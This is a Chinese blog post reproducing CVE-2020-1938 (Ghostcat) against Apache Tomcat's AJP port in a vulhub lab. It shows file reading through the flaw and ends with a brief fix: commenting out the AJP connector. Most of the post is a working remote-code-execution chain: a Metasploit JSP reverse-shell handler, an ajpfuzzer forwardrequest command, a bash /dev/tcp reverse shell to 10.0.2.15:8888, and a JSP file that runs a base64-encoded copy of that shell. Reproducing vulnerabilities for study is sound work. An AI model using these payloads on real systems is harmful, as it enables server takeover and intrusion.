CVE-2020-1938漏洞复现

环境直接在vulhub里面搭建

影响版本

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

开始复现

可以看到端口8009开放了

在这里插入图片描述

文件读写

先进入漏洞环境写入一个1.txt

在这里插入图片描述

直接利用漏洞脚本打

在这里插入图片描述

默认的读取目录是

webapps文件夹下ROOT的文件

RCE

下面配合文件上传的点进行rce 假设有一个文件上传的点我们上传一个shell.jsp

我这里是用msf 当然也可以用上面文件读取的脚本我都会复现

姿势一:

首先是msf的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1.在msf监听:
msf > use exploit/multi/handler

msf exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp

payload => java/jsp_shell_reverse_tcp

msf exploit(multi/handler) > set lhost 192.168.3.68


msf exploit(multi/handler) > set lport 6666


msf exploit(multi/handler) >exploit

2.发送AJP包,获取shell
使用AJP包构造工具来发送ajp包,以ajpfuzzer为例:

运行:java -jar ajpfuzzer_v0.6.jar

连接目标端口:connect 192.168.3.68 8009

执行以下命令:

forwardrequest 2 "HTTP/1.1" "/123.jsp" 192.168.3.68 192.168.3.68 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:/","javax.servlet.include.path_info:shell.png","javax.servlet.include.servlet_path:/"

可以看到成功回连了

在这里插入图片描述

姿势二:

准备好的反弹shell姿势如下:

1
bash -i >& /dev/tcp/10.0.2.15/8888 0>&1

为了能正常执行需要对命令进行编码并组装成bash,推荐在线bash payload生成。在webapp下任意文件夹或者直接在该目录下放一个txt或者其他非jsp文件(总之不能被解析就对了)

payload文件test.txt如下:

1
2
3
4
5
6
7
8
9
10
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuMTUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

执行

1
python3 poc.py   [ip]  -f  text.txt

另一端监听 就可以反弹shell了

修复

文件包含漏洞,主要是AJP/1.3协议。
简单粗暴的方法是将这句话注释。
server.xml文件中注释

1
<!--<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />-->
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~